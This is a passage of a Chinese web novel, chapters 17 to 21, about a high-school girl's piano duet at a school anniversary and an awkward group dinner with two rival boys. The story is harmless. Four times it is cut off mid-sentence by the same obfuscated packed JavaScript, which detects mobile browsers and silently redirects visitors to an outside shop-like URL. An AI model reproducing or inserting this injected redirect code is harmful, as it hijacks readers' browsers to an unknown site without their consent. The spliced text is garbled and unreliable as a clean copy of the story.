霍鸷阳眼皮一跳,莫名有种不好的预感:“然后呢?你答应了?” “还没有想好。”姜祁月如实回答。 “这有什么好犹豫的?”霍鸷阳恨铁不成钢,恨不得直接替她拒绝了。 姜祁月沉思片刻后问:“如果我打算去,你要跟着一起吗?” 如果这是两个人的聚餐,姜祁月不一定会答应,但同样打算去参加聚餐的人,除了温绥晏的朋友外,还有许多是参加校庆演出的同学。 前几天邀请她时,温绥晏用的理由就是一起庆祝校庆表演圆满结束。当时还能用“到时候再说”来拖延时间,这会儿要是再提,就不好继续拒绝了。 不过这么多人,再带个霍鸷阳去也不显眼。 “真的可以吗?我能跟着一起去?”霍鸷阳音调上扬,不敢相信自己听到了什么。 他了解姜祁月,知道她多聪明懂事,放在平时根本不会答应在别人组的聚餐上,带其他人一起去,更别提主动提出来了。 不过仔细想想倒也不奇怪。突然和这么多不认识的人一起聚餐,别说姜祁月了,连他都觉得别扭。 “嗯,你去吗?”姜祁月点头。 “那肯定得去啊。”霍鸷阳急了,生怕回答得晚了就去不了。 这件事拍板定了下来,原先紧绷的气氛也和缓下来。 霍鸷阳突然想起什么:“对了,你忙了这么久也累了吧?我去车棚推车,咱们先回去,你好好休息。” 彩排不让除了表演者和工作人员外的人凑热闹,霍鸷阳在外面靠着墙听了很久,知道中途还改动了一些小环节,想也知道姜祁月站了这么久肯定累了。 见他兴冲冲跑去推车,姜祁月也没拒绝。 她现在确实很累,只想回家洗个澡好好睡一觉。 17.独发,禁止转载 多日的排练在校庆当日起到很大作用。 在其他表演组紧张到失眠时,姜祁月心态很平稳,从下午彩排完回来一觉睡到第二天,连晚饭都顾不上吃,第二天醒来精神格外好。 反倒是家里人和霍鸷阳怕她紧张,在她面前提都不敢提校庆表演的事,小心翼翼的样子看得姜祁月很无奈。 去学校的路上,霍鸷阳委婉提到校庆表演的事,说的内容和老班之前说过的一样,都是让她别紧张,反正只是被拉去凑人头救场的。 刚开始姜祁月心领了他的好意没说什么,没想到一直到进校门,霍鸷阳还在身边喋喋不休。 “我不紧张,该紧张的应该是你。”姜祁月沉思片刻,决定快刀斩乱麻:“等校庆结束,别忘了把模拟卷拿给我看,这么长时间怎么也得做完三分之二了吧?” 只做了二分之一的霍鸷阳:“……” 霍鸷阳装出一副很忙的样子,脚尖踢了踢路边石头,干咳一声背过身:“那什么,你们表演的人不是要先去排队吗?我就不耽误你时间了,早点去吧。” 原本他以为写到二分之一就差不多了,没想到姜祁月对他抱有那么大期待。这样一来倒让他有些心虚,不敢想等校庆结束怎么交差。 好在现在距离校庆开始还有一两个小时,够他写一份卷子。 找借口离开时,霍鸷阳心里很不是滋味,不知道事情怎么就变成这样了。放在之前别说别人,就连他自己都不敢相信自己会为了写试卷这么拼。 试卷一共十二份,每张都有些难度,以他的水平很多题都是连蒙带猜。姜祁月对他的要求不低,不仅要做卷子,还得记住错题,同样的错不要犯超过三次。 也就是说,他不仅要写卷子,还得把之前拉下的课慢慢补起来。 一想到这里,霍鸷阳就感到头皮发麻。 姜祁月不知道霍鸷阳心里在想什么,也分不出时间和精力去想。 做好妆造赶到后台集合点时,附近已经围满了人,要不是当志愿者的苏浅灿帮忙引路,一时半会儿她还真找不到温绥晏。 和彩排相比,今天要正式许多倍,每个表演的人都打扮得很好看。 见到她来,比她早到一会儿的温绥晏轻笑道:“你这样穿真好看,差点没认出来。” “谢谢。”听到这句话,姜祁月耳尖微红,一本正经的回了一句:“你也是。”心里庆幸苏浅灿刚刚被其他人叫走,不然又得解释好久才能让她不激动。 温绥晏眼角微弯,被她一本正经的模样逗笑了,温声轻叹:“我是真心的,不是商业互吹。” 说完,话锋一转,又问:“对了,前段时间跟你说的事情考虑的怎么样了?下午校庆表演结束,要不要一起出去跟大家聚餐?” “嗯,一起吧,就是……”姜祁月停顿片刻,接着说:“霍鸷阳能一起去吗?” 温绥晏脸上的笑容消失,很快又重新挂上笑:“可以。是霍鸷阳主动提的吗?是我考虑得不够周到,没想到他也对聚餐感兴趣。” “是我不习惯跟太多陌生人待在一起。”姜祁月替霍鸷阳解释了一句。 “原来是这样。”温绥晏了然点头,随后笑着说:“其实也不用这么麻烦,我们是朋友,有什么不习惯的可以跟我说,我也能帮忙。” 姜祁月听后礼貌道了声谢,没在这个话题上停留太久,注意力放在听主持人说话上。 在她和温绥晏聊天的时间里,台上主持人已经准备离场了,简单说了几句话就将舞台留给上台表演的人。 随着第一组表演者上场,后台气氛肉眼可见变得紧张,顺序靠前的更是早早排好队,掰着手指头数还有多久到自己上台。 处在这种氛围中,就算原本很放松,也会染上几分紧张。 好在有彩排的经验在,每一组上台的人都顺利完成了表演,没出任何表演事故和意外。 时间一点一点过去,很快轮到姜祁月和温绥晏上台。 比起其他表演组,他们这一组热度格外大,还没在钢琴前坐下,底下就响起一连串看热闹的呼声。 虽然学校要求每个学生都到场签到观看校庆,但每到这种活动都很少有能坐得住的人,签完到就借用各种理由退场,老师也没法把人一个个揪回来,只能睁一只眼闭一只眼。这次有这么多人坚持留下来,已经超乎预料了。 能让他们留下来的理由只有一个,那就是凑热闹八卦。 换成其他人遇到这场面肯定会怯场,不过当了这么久风云人物,两个当事人都很淡定,聚光灯一亮就专注于这场演出。 悠扬的钢琴声从指尖流出。 磨合这么久的辛苦在今天得到回报。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534356|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>回荡着起哄声的礼堂不知何时变得安静,除了钢琴声外没有一点杂音。 凑热闹的人都看过学校贴吧的帖子,知道姜祁月和温绥晏钢琴弹得好,但并不知道具体有多好,直到现在才有了直观感觉。 两个同样优秀亮眼的人一起表演,带来的效果远非一加一能比的。 表演结束,台下响起真心实意地掌声和欢呼声。 光是听着就知道这场表演很成功。 下台后,姜祁月悬着的心彻底放下。 再怎么不紧张,到了上台的时候被那么多双眼睛盯着,也会有些不自在。 还好她成功把这件事做到了最好。 回到后台,姜祁月去换衣间换回平时穿的衣服,换好后自在多了。表演服好看归好看,但那么长裙摆走路都不方便,还是平时穿的衣服更合适。 卸妆比换衣服要麻烦点,还好妈妈只给她化了淡妆,处理起来没有那么耗时。 戴上眼镜,再看向镜子里的自己,姜祁月觉得顺眼多了。 做好这一切,她准备回自己班划分的位置看节目。 结果刚一推开门,就被一大束花挡住了视线。 仔细一看,那捧花不是普通的鲜花,而是用试卷折出来的花…… 伴随花一起出现的,还有霍鸷阳嬉皮笑脸的说话声。 “小乖表演得真好,太厉害了吧!” 姜祁月的好心情在看清那熟悉的卷子时瞬间消失,忍无可忍:“你把模拟卷撕了?” 她觉得自己迟早有一天要被霍鸷阳气死。 偏偏霍鸷阳没心没肺,就像没察觉到她在生气一样,笑嘻嘻地说:“是啊,送其他花你不一定愿意收,干脆送模拟卷折出来的花,你放心,这些我都写过,也按照你的要求订正了,等你有空就能把它们拆开检查。” 这些花是霍鸷阳借用看其他节目的时间,中途离场折出来的。 早上和姜祁月分开后,他花了很长时间才写完一张模拟卷,看着还剩下的一大堆试卷头疼脑涨,灵机一动想到这个好办法。 不仅能物尽其用,还能让小乖记住他的好,多宽容他点时间。再不济,等小乖拆完这些花,检查完模拟卷,也能拖住一段时间,这段时间够他再多写几张的了。 霍鸷阳越想越自信。 他也太聪明了吧。 18.独发,禁止转载 很快,自信满满的霍鸷阳就得到了报应,被姜祁月指责的不知道该说什么,只能一个劲道歉补救。 “算了,这些卷子我先拿走,剩下的你尽快写完拿给我看,以后不许这样折试卷了。”姜祁月没有在这件事情上久耗的打算,松口收下霍鸷阳特意折出来的花。 担心传到老班耳朵里惹人生气,姜祁月特意将花一朵朵拆开、铺平,放回背包里存放好。 做完这一切,她才稍微松了一口气。 霍鸷阳偷偷打量了她一眼,小声嘟哝:“有这么严重吗……” 声音越说越低,到最后几乎消散在风里。 姜祁月瞥了他一眼,懒得开口再说他。 霍鸷阳倒也识趣,没有继续说惹姜祁月生气的话,乖巧的跟在姜祁月身后。 “先回去看表演,等表演结束再一起去聚餐。”姜祁月淡淡地说了一句,无声警告霍鸷阳不要做小动作。 这回霍鸷阳答应得很爽快:“好嘞。” 两人一道回了自己班级划分的区域,找到空位置坐下。 姜祁月落座后,周围同学脸上还带着兴奋之色,凑过来压低声音小声夸她钢琴弹得真好,让她以后不要这么低调。 要不是校庆,他们还不知道姜祁月这么厉害。 带着善意的夸奖包围了姜祁月。 姜祁月平时在班里很低调内敛,和霍鸷阳是两个极端,此时听见这么多夸赞声,难得有些手足无措,白皙面颊泛起一层薄红。 接下来的表演她虽然看了,但一个也没有记住,全程都在走神。 这副面无表情的走神模样,落在凑过来的同学眼中就是高冷,他们渐渐恢复冷静,缩回探出去的脑袋,没再说夸奖的话让姜祁月为难。 最后一个表演结束,姜祁月逃也似地起身离开,不敢多停留一秒。 坐在姜祁月旁边的霍鸷阳一直注意着她,自然察觉到她的不自在,心里乐开了花。见姜祁月起身离开,也跟着凑了过去。 在其他同学欢天喜地散场回家时,姜祁月和霍鸷阳两人再次回到后台。 后台的人和观众席一样,都散得差不多了,剩下的全是准备留下一起聚餐的。 见姜祁月过来,众人纷纷朝她挥手打招呼,态度十分热情。 温绥晏众星捧月般站在人群中间,脸上同样带着温柔浅笑:“来的正好,大家刚刚还在讨论你会不会来呢。” 有了第一个人开口,其他人纷纷附和起来,气氛非常热闹。 即便姜祁月只认识温绥晏一个,也没有冷场的感觉。 唯一美中不足的就是,温绥晏的那些朋友们,貌似有些排斥霍鸷阳,没人和霍鸷阳搭话,不知道的还以为霍鸷阳不存在。 好在霍鸷阳不在意那些虚的,更不想跟他们聊天,注意力全放在姜祁月身上,严防死守温绥晏和姜祁月接触,连打车都夹在他们中间的座位,势必将他们隔开。 做法幼稚了点,但效果是真没话说。 看着渐渐维持不住完美笑容的温绥晏,霍鸷阳心情无比顺畅。 对于他的所作所为,姜祁月全部睁一只眼闭一只眼,当作没有看见。 在这种诡异气氛下,出租车停在了提前订好的饭馆外。 他们三个是最后到的,其余人已经站在饭馆门口等他们了。 一下车,温绥晏就率先去前面带路。 也是这时,姜祁月才从其他人口中得知,这场聚餐是温绥晏提出来请客的,并不是她想的AA平摊。 来不及想那么多,一行人到了包厢内。 预定的包厢很大,多加了个霍鸷阳也绰绰有余。 十来个人围在圆桌前,夸起姜祁月和温绥晏的表演实在太精彩了。 姜祁月不是很适应这种场合,一直沉默地垂眸听着没有说话。 聊着聊着,话题不知被谁扯偏了,慢慢往姜祁月身上带。 “说起来这场聚餐是温绥晏为了感谢你救场特意办的,担心你不愿意过来才叫上我们大家一起,这次真是沾了你的光哈哈哈。” “还没见温绥晏对谁这么上心过,要不是知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556033|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们是一起演出的队友,我都要误会你们的关系了。” “……” 开玩笑般的话传入耳中。 姜祁月耳尖微红,心里更不自在了,甚至有些坐立不安。 顾忌着相互之间不是很熟悉,她没有较真。 反倒是霍鸷阳这个暴脾气忍不住,皮笑肉不笑的阴阳怪气起来:“就是心善帮忙救场而已,至于这么夸张吗?就算误会有什么关系,更该误会的也是我跟她吧?” “他们只是爱开玩笑,没有别的意思。”温绥晏终于开口说话了,语气中带着歉意,苦恼地叹了口气:“大家都知道你们是好兄妹,但也没必要这样防贼一样防着我吧?” 霍鸷阳嗤笑一声,越发觉得他虚伪。 有了他们两个的加入,气氛变得有些僵硬。 好在服务员及时推开门上菜,打破了原先紧张的氛围。 菜上齐后,有人察觉到气氛变化,笑着开口解围:“听说这家店的菜味道很不错,大家快尝尝看是不是这样,等饱了还能趁着人多一起玩几场游戏,我刚好带了副桌游牌。” 少数服从多数。 姜祁月到了嘴边的婉拒,在看见众人赞同地点头后咽了下去,默默低头吃起菜。她有些后悔鬼使神差答应温绥晏聚餐的事了。 她心里想着小心思,一顿饭吃下来未如嚼蜡。 坐在她左侧的温绥晏压低声音小声问:“怎么了?是不是有什么地方不舒服?” 姜祁月抬头,直直对上一双含笑的眼眸。 不知道是不是她的错觉,灯光映照下,那双眸子满含温柔关切。 姜祁月心脏跳动速度加快,再次出现失控的征兆。 “没有。” 她匆匆低头,看上去有些狼狈。 右侧的霍鸷阳越看越觉得刺眼,没忍住揪了揪姜祁月衣袖,用眼神示意她不要被骗了。 他就知道温绥晏不是好人,温绥晏的朋友也是。 嘴上说得好听,鬼知道他们背地里谋划了什么,净爱整些阴的来算计人。 19.独发,禁止转载 霍鸷阳觉得自己真是操碎了心,偏偏当事人一点也没有意识到问题的严重性,哪怕看懂了他的意思,也没有丝毫表示。 整整一桌子菜,霍鸷阳碰都没碰,直接被气饱了。他丝毫没有遮掩对温绥晏的不满,就差指名道姓阴阳怪气温绥晏。 温绥晏倒是沉得住气,自始至终都带着温和笑容,没有因为霍鸷阳的态度而生气。 不为所动的样子让霍鸷阳有种一拳头打在棉花上的无力感。 察觉到姜祁月看向温绥晏的目光中带上歉意,霍鸷阳又恼又恨,意识到自己又被刺激的冲动了,面色变得无比难看,嘴唇紧抿成一条直线。 不多时,桌上菜就吃得差不多了。 服务员进来将桌上的东西收走,悄无声息地离开包间,将空间留给他们。 提出玩游戏的男生从口袋掏出一副扑克牌,拆开后摆放在桌面上,迫不及待的解说道:“玩其他游戏学霸们可能不会,不如直接玩真心话大冒险。等会儿大家一个人抽一张扑克牌,数字最大的可以制定惩罚内容,数字最小的要接受惩罚。” 听到这句话,姜祁月看见扑克牌后升起的紧张情绪消失。 她不会玩扑克牌,不过真心话大冒险还是懂的。 其余人纷纷点头,附和起这个提议。 真心话大冒险规则虽然简单,但人多起来是真的好玩,说不定还能挖出什么秘密。 生闷气的霍鸷阳不知道想了什么,没有反驳,默认这个玩游戏。 温绥晏直接拍板:“既然大家都同意,那就洗牌吧。” “得嘞!”提议的人抽出十几张带有数字的扑克牌,迅速把牌反过来打乱,确保没问题了才示意大家按照顺序选牌。 按照定好的抽牌顺序,姜祁月排在第二位。 第一个是温绥晏。 他没有犹豫,伸手拿起最靠近自己的那张扑克牌。 “不多选选再做决定吗?”姜祁月下意识问了一句。 她还以为温绥晏会犹豫一会儿才做决定,没想到速度这么快。 “不用,它距离我最近。”温绥晏唇角上扬,给人一种如沐春风的感觉,声音含笑的说:“跟我有缘分,就它了。” 说后半句话时,他的目光一直落在姜祁月身上,专注的模样给人一种被深爱的错觉。 很有迷惑性。 连姜祁月都被晃了晃神。明明在说扑克牌,她却有种对方在暗喻什么的错觉。 坐在温绥晏对面的人听见,不由出声开玩笑:“啧啧啧,抽个牌而已,没想到被你说出那么多感悟。” “有没有一种可能,这就是学霸和普通人的区别。” “重点是这个吗?重点是继续往下抽牌,快快快,下一个轮到谁了?” 催促声传入耳中,姜祁月连忙回神,注意力放在抽牌上。 伸手时,她的脑海忍不住浮现出不久前的画面,鬼使神差地选中距离自己最近的那张扑克牌。 选完扑克牌,姜祁月再次和温绥晏对视上。 一时间,她觉得手里的扑克牌有些烫手。 好在没人注意到这段小插曲,继续催促下一个人快点选牌。 霍鸷阳冷着脸拿了距离自己最近的张牌,装作不经意般往姜祁月那边看了眼。 好的很,姜祁月注意又被那个男的吸引走了。 看到这一幕,他的后槽牙都快被咬碎了,心里又酸又涩,有种想燃爆全世界的冲动,负面情绪如同潮水般席卷而来。 “发什么呆?不看看抽到了什么吗?” 姜祁月的询问声响起。 短短一句话,让霍鸷阳瞬间从刚刚的糟糕状态中脱离出来,两眼放光地看向姜祁月,说话时尾音不自觉上扬:“这么关心我抽到的结果?那就给你看看吧。” 话音刚落,就把自己的扑克牌转了过来。 中规中矩地数字。 不是最大,也不是最小。 霍鸷阳把自己的牌搁在桌面上,好奇的凑到姜祁月面前:“你的呢?让我也看看呗。” 姜祁月把自己选的牌推到他面前:“自己看。” 语气平静的过分。 霍鸷阳敏锐察觉到不对劲,把牌翻过来一看才知道怎么了。 “A?”他下意识把扑克牌上的数字念了出来。 其他查看自己抽到的牌数字的人听见,纷纷凑过来看霍鸷阳手里的牌数字。 果然是A。 十几张牌除了最大的和最小的很独特外,剩余的有很多是重复的。 组织游戏的人顿时笑了起来:“A在扑克牌里能当1用,没想到学霸第一局就输了。就是不知道拿到数字10的是谁。” 姜祁月被他说得有些不安。 游戏规则她记得很清楚,抽到数字最大的人,可以规定抽到数字最小的人所接受的惩罚内容。 正当姜祁月心神不宁之际,耳畔突然响起一声温柔轻笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560170|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 温绥晏摊开手里的扑克牌,无奈地笑着说:“不巧了,我拿的好像就是10。” “真巧。”听清是谁抽到10,姜祁月发自内心地说了两个字,紧绷的神经放松许多。 霍鸷阳皮笑肉不笑,一字一句地说:“确、实、巧。” 他可不信世上有这样巧的事。 今天发生的一切都让他感到不爽。这一环套一环的,要是他没跟着一起来,姜祁月这没心眼的,大概率会被忽悠的团团转。 温绥晏没有在意霍鸷阳阴阳怪气的话,目光一直落在姜祁月身上,温声询问她:“祁月,你选择真心话还是大冒险?” “玩就好好玩,别放太多水啊。”组织游戏的人看不过去,特意多叮嘱了温绥晏一遍。 姜祁月端坐在椅子上思考了几秒,回答:“真心话吧。” 之前她围观过苏浅灿和其他人玩真心话大冒险。大冒险的惩罚内容都不容易完成,要是说出随便去外面找个人打招呼之类的,她会尴尬很久。与其这样,不如选择相对而言更容易完成惩罚的真心话。 “好。”温绥晏点头,注视着姜祁月的眼睛,眸中带着星星点点的笑意:“那就说一下你的理想型是什么样的吧。” 能够看出他放了很多水,问的问题都平平无奇。 四周响起许多不满的声音,谴责起温绥晏故意放水。 谴责归谴责,他们一个个倒是竖起耳朵听,都想知道姜祁月这样的高岭之花,究竟喜欢什么样的人。 在学校里,他们都听过姜祁月的大名,知道她不仅稳居理科班第一的位置,长得也好看,还有一大堆厉害的才艺。 这样耀眼的人没人会不喜欢,学校里一堆人都想追她。奈何女神高冷,除了学习外什么也不放在心上。 叠加buff般的配置,让姜祁月成为无数人求之不得的女神,聚餐的人里就有曾经追求姜祁月失败的人,抓耳挠腮想知道她理想型是什么,说不定自己还能朝着那个方向努力。 还有些生闷气的霍鸷阳也偷偷竖起耳朵听。 同时被这么多双眼睛盯着,姜祁月有些不自在,身体再次紧绷起来。 她知道这只是游戏惩罚,就算说假话也没人知道。 但她对上温绥晏的眼睛时,还是说了实话。 声线有些发颤,说话内容却很清晰。 “我的理想型大概是……像我父亲那样成绩好,温文尔雅,有责任心的人。” 20.独发,禁止转载 姜祁月的父母在高中时就是同学,性格非常相似,都是多才多艺的温柔学霸,恰好在学习上各有所长,取长补短时渐渐被对方吸引。 高考结束后,姜祁月父母正式走到一起,上了同一所大学。他们的感情多年如一日的好,毕业后没多久就互相见家长订下婚约,婚后感情不仅没有变差,反而越发契合,互相理解对方,支持对方事业,一起分担家务,尊重对方做的一切选择…… 父母的感情经历看似平淡无波,比起电视上那些爱情情仇相差甚远,但姜祁月很羡慕这种稳定的感情模式。 如果一定要说理想型,她能想到的就是这样。 或许她早就有了这个想法,所以才会在音乐教室外见到温绥晏时,产生悸动的感觉。 温绥晏真的很像她妈妈口中爸爸年轻时的样子,成绩好、温文尔雅、情绪稳定、多才多艺。 在正值叛逆期的年龄段里,像温绥晏这样的男生实在太少见了。姜祁月从未想过,自己会在高中时遇到这样的男生。 这么长时间地相处,感性渐渐压过理性。姜祁月控制不住被温绥晏吸引目光,清醒地看着自己一点点沦陷。 “成绩好、温文尔雅、有责任心,嘶……怎么这么熟悉呢?” 不知是谁先说了这句话,引来一阵讨论。 更有甚者还在朝温绥晏挤眉弄眼:“听见了吗?成绩好、温文尔雅、有责任心。” 姜祁月瞬间回过神,后知后觉意识到自己的话可能会让人产生误会。她局促不安地坐在椅子上,不知道怎么做才能解释清楚。 和他相比,温绥晏格外淡定。 他轻笑一声,看上去很是无奈,温声说道:“你们别多想,我和祁月只是普通朋友。” 这个解释很合理,杜绝一切起哄和猜测。 姜祁月听了,却莫名有些失落。 她也不知道自己为什么会失落,更不知道自己想要什么样的解释。明明换成她,也找不到比温绥晏更好的解决办法。 很快姜祁月就顾不上失落了。 一直没说话的霍鸷阳冷不丁开口:“哇,原来你跟咱们小乖是朋友,是我眼光不好,一直没看出来,还以为你们是稍微熟一点的陌生人呢。” 笑容相当假,语气相当浮夸。 不用动脑子都知道他在反串。 一时间,姜祁月什么失落都没有了,只剩下无语。 还是那句话,霍鸷阳什么都好,就是长了张嘴,一开口不是气人就是气死人。有时候姜祁月都担心听他说话的人会忍不住,跟他直接打起来。 偏偏霍鸷阳本人没有这个意识,还在一个劲说着拉仇恨的话。 霍鸷阳:“不过这朋友做的确实有点太普通了点,我跟小乖也是朋友,但跟她玩的好的人都知道我,跟我玩的好的人也都认识她,我还以为做到这样才能称得上朋友。” 说完,他像是意识到这样不太好,抬手捂嘴道歉:“不好意思,我说话是不是有点太直接了?我真没有别的意思,大家不要误会了。” 目光又落在姜祁月身上,轻轻眨了眨眼:“对不起啊小乖,我这样说话,温绥晏不会生气吧?你也知道的,我这人就心直口快,还因为这个被人打过。”只不过打他的人碰都没碰到他,反而被他教训了一顿。当然,这些话不适合往外说,卖惨还是得说得惨一点才行。 姜祁月:“……” 姜祁月眉心微蹙,不知道该说他什么好。 她想了很久,还是想不明白,为什么霍鸷阳脸皮那么厚,半点不在意面子,更不在意其他人怎么看他。 但凡要点面子的正经人,谁能说出那些不要脸的话啊? 别说其他人,连她听着都浑身不自在。 温绥晏脸上的笑再也维持不住,看上去很生硬:“我知道你心直口快,大家都是祁月朋友,我当然不会跟你生气了。” “那就好,现在天色也不早了,既然饭菜也吃了,游戏也玩了,我跟小乖就先回去了,你们也早点回去吧,不然家里人得等急了。”霍鸷阳起身,轻轻拍了拍姜祁月肩膀,脸上的笑容无比真切,让人挑不出任何毛病。 这副样子怎么看怎么让人觉得欠揍。 “不好意思,我们先回去了,大家继续玩。”姜祁月犹豫几秒,还是起身告辞。 就算没有霍鸷阳,她也不想继续玩下去了。对她来说,这个游戏玩得实在尴尬。 “好,路上小心。”温绥晏挤出一个笑,努力维持好温柔外表。 姜祁月点头:“嗯,你们也是,玩得开心。” 姜祁月和霍鸷阳离开后,包间里的其他人也觉得尴尬,根本顾不上玩,纷纷找借口离开。 到最后,只剩下温绥晏一个人留在那里。 好端端一个聚餐,因为霍鸷阳不欢而散。 温绥晏面色阴沉,忍了很久还是没有忍住,用力踹在椅子上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567002|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “一群废物!” 伴随咒骂声一同响起的,是椅子被踹翻在地所发出的哐当巨响。 温柔外壳被彻底撕碎。 温绥晏五官扭曲难看,胸膛气得剧烈起伏。 一群废物! 真是诸事不顺。要是他没有因为那件事转学,绝对不会委屈自己跟一群成事不足败事有余的废物打好关系。 怒火中烧之际,手机突然传来一道消息提示。 温绥晏解锁屏幕查看,本就阴沉难看的面色更加扭曲。 是姜祁月发来的。 两条道歉消息和一条转账提示。 姜祁月:【今天真是不好意思,霍鸷阳他比较冲动,谁也管不住他。】 姜祁月:【不知道这次聚餐一共花了多少钱,如果这些不够我跟霍鸷阳两个人的,记得跟我说一下,我再转一些过来。】 姜祁月:【转账300元。】 三百…… 温绥晏气得眼睛都红了,哪儿还看不出姜祁月在客气。 他选的这家店是平价餐馆,这么多钱别说够饭量小的姜祁月和一口没动的霍鸷阳AA,再帮三个人付AA餐费都绰绰有余。 谁亲谁疏一目了然。 温绥晏心里越来越不甘心。 另一边。 姜祁月跟在霍鸷阳身后一起出了饭店。 踏出饭店门时,才发现天已经黑了。 网约车很快到达目的地。 上车后,姜祁月听见手机响了一下。 看了眼手机屏幕,疑惑地问霍鸷阳:“你转我这么多钱干什么?” 霍鸷阳懒散的靠在靠背垫上,笑得没心没肺,露出一口大白牙:“小乖有温绥晏好友吧?帮我把这些钱转给温绥晏,就说是我们两的饭钱,谢谢他请客。” 耀武扬威的模样,像极了打了胜仗的公鸡。 姜祁月欲言又止,止又欲言。 最终叹了口气,还是顺了霍鸷阳的意,在他眼皮子底下给温绥晏发消息。 亲眼看到姜祁月转完帐,霍鸷阳心情肉眼可见变得更好。 但他还没笑多久,就听见自己手机也响了一下。 一起响起的,还有姜祁月较真地解释:“我给你转了一半,下次不要那么冲动了。” 霍鸷阳:“……” 看着姜祁月白皙粉嫩的侧脸,霍鸷阳哼笑一声,莫名觉得有点牙痒痒,总想着咬点什么止一止痒。 21.独发,禁止转载 “跟我也这么客气?”霍鸷阳终是忍不住,问出这句话。 姜祁月抿了抿唇瓣,迟疑片刻还是抬头说:“亲兄弟也要明算账。”更别说他们还不是亲生的。 一百五十块钱,可不是一笔小数目。 “算了算了,先不说这个。”霍鸷阳没在这个话题上停留太久,转而说起另外一件事:“现在校庆结束了,下周一就是篮球联赛,到时候我让人给你留个靠前点的位置,你记得过来啊。” 姜祁月无奈道:“放心,不会忘的。” 她都想不通自己究竟做了什么,才让霍鸷阳这样没有安全感。 “不会忘就好。”霍鸷阳心情渐渐变好,没忍住多说了一句:“对了,既然校庆表演都结束了,你也少跟那个温绥晏接触,我总觉得他没那么简单。” 这句话霍鸷阳说了无数次,但只有第一次起了点作用,其余时候都没在姜祁月心里留下一点痕迹。 这次也是。 当局者迷。 被外表迷惑的姜祁月并没有把霍鸷阳说的放在心上,不过她没有表现出来,而是点头应了声,模棱两可的说:“嗯,我会多注意的。” “最好是这样。”霍鸷阳小声嘀咕了一句,也不知信没信。 姜祁月没有说话,出神的看向窗外,心里乱糟糟的,想的全是温绥晏。 她一直觉得自己很理智,对自己的定位也很清晰,但在和温绥晏相关的事情上,她变得不再像自己,甚至产生温绥晏是不是也喜欢自己的错觉。 但要说温绥晏喜欢她的话,好像也不像。不久前聚餐上有人起哄,他还出面解释过,认真告诉所有人他们只是普通朋友。 如果不喜欢她,温绥晏为什么要送她花束,为什么要问她理想型是什么样,为什么做出那么多引人误会的举动。 太奇怪了…… 姜祁月难得被难题困扰住,仿佛被蜘蛛网黏住的虫子,越是想挣扎开就越是被缠紧,找不到解决的办法。 她想,自己或许需要好好冷静冷静。 姜祁月不知道自己出神了多久,只知道自己好像听见了网约车司机的询问声,慢慢从出神状态中清醒过来。 “两位,前面小巷进不去了,就在这里停车行不?” 网约车司机将车停在小巷口,扭头朝后排的两个乘客看去。 “可以的,谢谢叔叔。”姜祁月礼貌道谢,垂眸解开安全带,确认车后没有人才开门下车。 霍鸷阳紧跟其后下车,疑惑地问她:“这么急干什么?”刚刚他还没来得及反应,姜祁月就解开安全带下来了。 “我怕回去晚了家里人着急。”姜祁月淡淡地说了一句。 霍鸷阳:“……” 这话真熟悉,是他前不久说出来的,没想到被姜祁月翻了旧账。 霍鸷阳干笑一声,摸了摸鼻子,露出一个尴尬又不失礼貌的笑:“说的有道理,那咱先回去吧。” “嗯。”姜祁月没再说什么,继续往前走,眼底浮现出一抹笑意。 她只是想说点什么让霍鸷阳住嘴,没想到能看见霍鸷阳吃瘪的样子,实在太难得了。 霍鸷阳不知道姜祁月在想什么,心里还虚着,跟姜祁月分开各回各家时,连声招呼都不敢打,生怕姜祁月再说出什么和不久之前类似的话。 “再见。”姜祁月主动出声道别,看到霍鸷阳逃也似的离开后,心情顿时变得更好。 回到家后,她打开包里放着的模拟卷。哪怕被铺平摊开,上面也布满折痕,好在干干净净,字迹都能看清。 都说字如其人,霍鸷阳的字和他这个人一样,锋利张扬,充满攻击性。 